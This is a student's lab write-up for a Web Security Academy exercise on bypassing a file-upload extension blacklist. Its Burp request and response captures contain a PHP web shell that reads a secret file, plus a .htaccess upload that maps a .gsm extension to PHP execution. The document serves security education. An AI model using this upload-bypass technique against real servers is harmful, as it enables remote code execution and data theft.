

# File Upload Vulnerabilities Lab – 04

## Web Shell Upload Via Extension Blacklist Bypass

M.Gobi Shankar

CB.SC.P2CYS23019

Log in and upload an image as your avatar, then go back to your account page.


[Home](#) | [My account](#) | [Log out](#)

## My Account

Your username is: wiener

Email

Update email



Avatar:

No file selected.

Upload

In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/cover.jpeg. Send this request to Burp Repeater.

#	Host	Method	URL	Params	Edited	Status code	Length	MIMEType	Extension	Title	Comment	TLS	IP	Cookies	Time	Listener port
154	https://0a17005030b4e49825e...	POST	/api/account/update-email		✓	200	186	HTML				✓	79.125.84.16	session=6a3dPmN2ly...	17:41:44.8 Apr...	8080
155	https://0a17005030b4e49825e...	GET	/api/account/avatarDefault.svg		✓	200	10015	SVG				✓	79.125.84.16		17:41:51.8 Apr...	8080
156	https://0a17005030b4e49825e...	GET	/api/account/avatarDefault.svg		✓	200	130	text				✓	79.125.84.16		17:41:51.8 Apr...	8080
157	https://0a17005030b4e49825e...	POST	/api/account/avatar		✓	200	330	HTML				✓	79.125.84.16		17:42:05.8 Apr...	8080
158	https://0a17005030b4e49825e...	GET	/api/account/avatar		✓	200	4327	HTML				✓	79.125.84.16		17:42:05.8 Apr...	8080
159	https://0a17005030b4e49825e...	GET	/files/avatars/cover.jpeg		✓	200	6401	JPEG				✓	79.125.84.16		17:42:05.8 Apr...	8080
160	https://0a17005030b4e49825e...	GET	/api/account/avatar		✓	200	4327	HTML				✓	79.125.84.16		17:42:05.8 Apr...	8080
161	https://0a17005030b4e49825e...	GET	/api/account/avatar		✓	200	4327	HTML				✓	79.125.84.16		17:42:05.8 Apr...	8080
162	https://0a17005030b4e49825e...	GET	/api/account/avatar		✓	200	4327	HTML				✓	79.125.84.16		17:42:05.8 Apr...	8080
163	https://0a17005030b4e49825e...	GET	/files/avatars/cover.jpeg		✓	200	130	JPEG				✓	79.125.84.16		17:42:05.8 Apr...	8080
164	https://0a17005030b4e49825e...	GET	/api/account/avatar		✓	200	130	text				✓	79.125.84.16		17:42:05.8 Apr...	8080

Request

Raw

Hex

GET /files/avatars/cover.jpeg HTTP/1.1

Host: 0a17005030b4e49825e363d380848099.web-security-academy.net

Cookie: session=6a3dPmN2lyuqZOL7x581j0Mh0u5jpp

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: image/avif,image/webp,\*/\*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://0a17005030b4e49825e363d380848099.web-security-academy.net/my-account

Sec-Fetch-Dest: image

Sec-Fetch-Mode: no-cors

Sec-Fetch-Site: same-origin

If-Modified-Since: Mon, 08 Apr 2024 12:12:17 GMT

If-None-Match: "17fa-6194b773a562"

Te: trailers

Send to Repeater

Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser

Request in browser

Engagement tools (Pro version only)

Copy URL

Copy curl command (bash)

Copy file

Save item

Content selection

Cut

Copy

Paste

Message editor documentation

0 matches

Response

Raw

Hex

Render

HTTP/1.1 200 OK

Date: Mon, 08 Apr 2024 12:13:24 GMT

Server: Apache/2.4.41 (Ubuntu)

ETag: "17fa-6194b773a562"

X-Frame-Options: SAMEORIGIN

Content-Length: 0

0 matches

On your system, create a file called exploit.php containing a script for fetching the contents of Carlos's secret.

```
(kali㉿kali)-[~]  
$ cat exploit.php  
<?php echo file_get_contents('/home/carlos/secret'); ?>
```

Attempt to upload this script as your avatar. The response indicates that you are not allowed to upload files with a .php extension.

Sorry, php files are not allowed Sorry, there was an error uploading your file.

[Back to My Account](#)

In Burp's proxy history, find the POST /my-account/avatar request that was used to submit the file upload. In the response, notice that the headers reveal that you're talking to an Apache server. Send this request to Burp Repeater.

3 x 4 x +

Send Cancel < >

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
<pre>1 POST /my-account/avatar HTTP/2 2 Host: 0a1700f5030dce49825e83d300840069.web-security-academy.net 3 Cookie: session=NckPMN31yuqZQt7xJ58ijhMaMBo5ZjP 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Content-Type: multipart/form-data; boundary=-----24591901358764402423824665616 9 Content-Length: 542 10 Origin: https://0a1700f5030dce49825e83d300840069.web-security-academy.net 11 Referer: https://0a1700f5030dce49825e83d300840069.web-security-academy.net/my-account 12 Upgrade-Insecure-Requests: 1 13 Sec-Fetch-Dest: document 14 Sec-Fetch-Mode: navigate 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-User: ?1 17 Te: trailers 18 19 -----24591901358764402423824665616 20 Content-Disposition: form-data; name="avatar"; filename="exploit.php" 21 Content-Type: application/x-php 22 23 &lt;?php echo file_get_contents('/home/carlos/secret'); ?&gt; 24 25 -----24591901358764402423824665616 26 Content-Disposition: form-data; name="user" 27 28 wiener 29 -----24591901358764402423824665616 30 Content-Disposition: form-data; name="csrf" 31 32 2mHPg1gcUU01UptK1c9tU00K1keemA1 33 -----24591901358764402423824665616-- 34</pre>	<pre>1 HTTP/2 403 Forbidden 2 Date: Mon, 08 Apr 2024 12:17:45 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Content-Type: text/html; charset=UTF-8 5 X-Frame-Options: SAMEORIGIN 6 Content-Length: 164 7 8 Sorry, php files are not allowed 9 Sorry, there was an error uploading your file.&lt;p&gt;   &lt;a href="/my-account" title="Return to previous page"&gt;     « Back to My Account   &lt;/a&gt; &lt;/p&gt;</pre>

In Burp Repeater, go to the tab for the POST /my-account/avatar request and find the part of the body that relates to your PHP file. Change the value of the filename parameter to .htaccess and Change the value of the Content-Type header to text/plain. Send the request and observe that the file was successfully uploaded.

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 POST /my-account/avatar HTTP/2 2 Host: 0a9700440424e48281f5d9db004100c5.web-security-academy.net 3 Cookie: session=jkNDk9QVbDe8YEDxzt3tEsBAQE654dZq 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Content-Type: multipart/form-data; boundary=-----227036297814982066701136103522 9 Content-Length: 518 10 Origin: https://0a9700440424e48281f5d9db004100c5.web-security-academy.net 11 Referer: https://0a9700440424e48281f5d9db004100c5.web-security-academy.net/my-account 12 Upgrade-Insecure-Requests: 1 13 Sec-Fetch-Dest: document 14 Sec-Fetch-Mode: navigate 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-User: ?1 17 Te: trailers 18 19 -----227036297814982066701136103522 20 Content-Disposition: form-data; name="avatar"; filename=".htaccess" 21 Content-Type: text/plain 22 23 AddType application/x-httpd-php .gsm 24 25 -----227036297814982066701136103522 26 Content-Disposition: form-data; name="user" 27 28 wiener 29 -----227036297814982066701136103522 30 Content-Disposition: form-data; name="csrf" 31 32 A6BsEewd9RL4rLI30buuoTHMA54NBh7H 33 -----227036297814982066701136103522-- 34</pre>		<pre>1 HTTP/2 200 OK 2 Date: Mon, 08 Apr 2024 14:14:13 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Vary: Accept-Encoding 5 Content-Type: text/html; charset=UTF-8 6 X-Frame-Options: SAMEORIGIN 7 Content-Length: 130 8 9 The file avatars/.htaccess has been uploaded.&lt;p&gt;   &lt;a href="/my-account" title="Return to previous page"&gt;     « Back to My Account   &lt;/a&gt; &lt;/p&gt;</pre>	

Use the back arrow in Burp Repeater to return to the original request for uploading your PHP exploit. Change the value of the filename parameter from exploit.php to exploit.gsm. Send the request again and notice that the file was uploaded successfully.

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>1 POST /my-account/avatar HTTP/2 2 Host: 0a9700440424e48281f5d9db004100c5.web-security-academy.net 3 Cookie: session=jkNDk9QVbDe8YEDxzt3tEsBAQE654dZq 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Content-Type: multipart/form-data; boundary=-----227036297814982066701136103522 9 Content-Length: 546 10 Origin: https://0a9700440424e48281f5d9db004100c5.web-security-academy.net 11 Referer: https://0a9700440424e48281f5d9db004100c5.web-security-academy.net/my-account 12 Upgrade-Insecure-Requests: 1 13 Sec-Fetch-Dest: document 14 Sec-Fetch-Mode: navigate 15 Sec-Fetch-Site: same-origin 16 Sec-Fetch-User: ?1 17 Te: trailers 18 19 -----227036297814982066701136103522 20 Content-Disposition: form-data; name="avatar"; filename="exploit.gsm" 21 Content-Type: application/x-php 22 23 &lt;?php echo file_get_contents('/home/carlos/secret'); ?&gt; 24 25 -----227036297814982066701136103522 26 Content-Disposition: form-data; name="user" 27 28 wiener 29 -----227036297814982066701136103522 30 Content-Disposition: form-data; name="csrf" 31 32 A6BsEewd9RL4rLI30buuoTHMA54NBh7H 33 -----227036297814982066701136103522-- 34</pre>		<pre>1 HTTP/2 200 OK 2 Date: Mon, 08 Apr 2024 14:15:42 GMT 3 Server: Apache/2.4.41 (Ubuntu) 4 Vary: Accept-Encoding 5 Content-Type: text/html; charset=UTF-8 6 X-Frame-Options: SAMEORIGIN 7 Content-Length: 132 8 9 The file avatars/exploit.gsm has been uploaded.&lt;p&gt;   &lt;a href="/my-account" title="Return to previous page"&gt;     « Back to My Account   &lt;/a&gt; &lt;/p&gt;</pre>	

Switch to the other Repeater tab containing the GET /files/avatars/cover.jpeg request. In the path, replace the name of your image file with exploit.gsm and send the request. Observe that Carlos's secret was returned in the response.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 GET /files/avatars/exploit.gsm HTTP/2				1 HTTP/2 200 OK			
2 Host: 0a9700440424e48281f5d9db004100c5.web-security-academy.net				2 Date: Mon, 08 Apr 2024 14:16:56 GMT			
3 Cookie: session=jkNDk9QVbDe8YEDxt3tEsBAQE654dZq				3 Server: Apache/2.4.41 (Ubuntu)			
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0				4 Content-Type: text/html; charset=UTF-8			
5 Accept: image/avif,image/webp,*/*				5 X-Frame-Options: SAMEORIGIN			
6 Accept-Language: en-US,en;q=0.5				6 Content-Length: 32			
7 Accept-Encoding: gzip, deflate				7			
8 Referer: https://0a9700440424e48281f5d9db004100c5.web-security-academy.net/my-account				8 SLDJBOvbiDbWZehY0UUrblMCqsn9ahYlx			
9 Sec-Fetch-Dest: image							
10 Sec-Fetch-Mode: no-cors							
11 Sec-Fetch-Site: same-origin							
12 If-Modified-Since: Mon, 08 Apr 2024 14:10:24 GMT							
13 If-None-Match: "17fe-615965ddffbbc"							
14 Te: trailers							
15							
16							

Secret: SLDJBOvbiDbWZehY0UUrblMCqsn9ahYlx

Submit the secret to solve the lab.

The screenshot shows the 'My Account' page with a modal dialog open. The dialog has a title bar with a globe icon and the URL '09700440424e48281f5d9db004100c5.web-security-academy.net'. Inside the dialog, there is a label 'Answer:' and a text input field containing the secret 'SLDJBOvbiDbWZehY0UUrblMCqsn9ahYlx'. There are 'Cancel' and 'OK' buttons at the bottom right of the dialog. The background page shows an email update form and an avatar upload section.

Lab Completed Successfully.

**WebSecurity Academy**

Web shell upload via extension blacklist bypass  
[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

## My Account

Your username is: wiener

The screenshot shows the 'My Account' page. It has a section for 'Email' with a text input field and an 'Update email' button. Below that is an 'Avatar' section with a 'Browse...' button and the text 'No file selected.' and an 'Upload' button.